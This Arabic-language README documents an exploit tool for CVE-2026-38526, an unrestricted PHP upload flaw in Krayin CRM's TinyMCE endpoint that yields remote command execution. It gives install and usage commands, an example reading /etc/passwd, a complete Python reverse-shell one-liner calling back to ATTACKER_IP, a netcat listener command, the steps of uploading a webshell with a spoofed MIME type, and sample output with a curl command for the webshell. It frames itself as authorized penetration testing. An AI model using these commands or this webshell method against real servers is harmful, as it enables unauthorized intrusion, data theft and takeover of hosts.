CVE-2026-38526 - ثغرة رفع PHP في Krayin CRM لتنفيذ أوامر عن بُعد (RCE)

أداة استغلال آلية لـ Krayin CRM ≤ 2.2.x. يستغل هذا السكربت ثغرة رفع ملفات غير مقيدة في نقطة نهاية TinyMCE (/admin/tinymce/upload)، ويتجاوز التحقق من نوع MIME عبر انتحال image/jpeg، ويرفع قشرة ويب PHP، وينفذ أوامر عشوائية بصلاحيات خادم الويب.

تفاصيل الثغرة

المتطلبات الأساسية

• Python 3.7+
• بيانات اعتماد مدير صالحة لمثيل Krayin CRM المستهدف
• وصول شبكي إلى التطبيق المستهدف
• مكتبة requests

التثبيت

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

الاستخدام

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

الوسائط

أمثلة

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

خطوات الاستغلال

1. المصادقة: استخراج رمز CSRF من صفحة تسجيل الدخول، والمصادقة باستخدام بيانات الاعتماد المقدمة
2. التحقق من الجلسة: استخراج رمز CSRF جديد من لوحة التحكم بعد المصادقة
3. رفع قشرة الويب: رفع حمولة PHP إلى /admin/tinymce/upload مع انتحال نوع MIME
4. تنفيذ الأوامر: تنفيذ أوامر عشوائية عبر معامل GET الخاص بقشرة الويب

نموذج الإخراج

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

المشكلات الشائعة

فشل المصادقة: تحقق من صحة بيانات الاعتماد ومن وجود الحساب على الهدف.

فشل استخراج رمز CSRF: تأكد من أن الهدف يعمل بإصدار Krayin CRM القابل للاستغلال وأن نقطة نهاية تسجيل الدخول يمكن الوصول إليها.

عدم اتصال القشرة العكسية: تأكد من تشغيل المستمع الخاص بك (nc -lvnp <PORT>)، ومن أن قواعد جدار الحماية تسمح بالاتصالات الصادرة، ومن صحة عنوان IP والمنفذ في الحمولة.

إخلاء المسؤولية

تُقدَّم هذه الأداة حصريًا لأغراض اختبار الاختراق المصرح به والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. يتحمل المستخدمون وحدهم مسؤولية ضمان حصولهم على التفويض المناسب قبل اختبار أي نظام مستهدف. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.

المراجع

• TREXNEGRO Security Advisory - CVE-2026-38526
• Krayin CRM GitHub
• OWASP - رفع الملفات غير المقيد

المؤلف

b0nyo - تنفيذ إثبات المفهوم (PoC)

• GitHub

TREXNEGRO - اكتشاف الثغرة

• الاستشارات الأمنية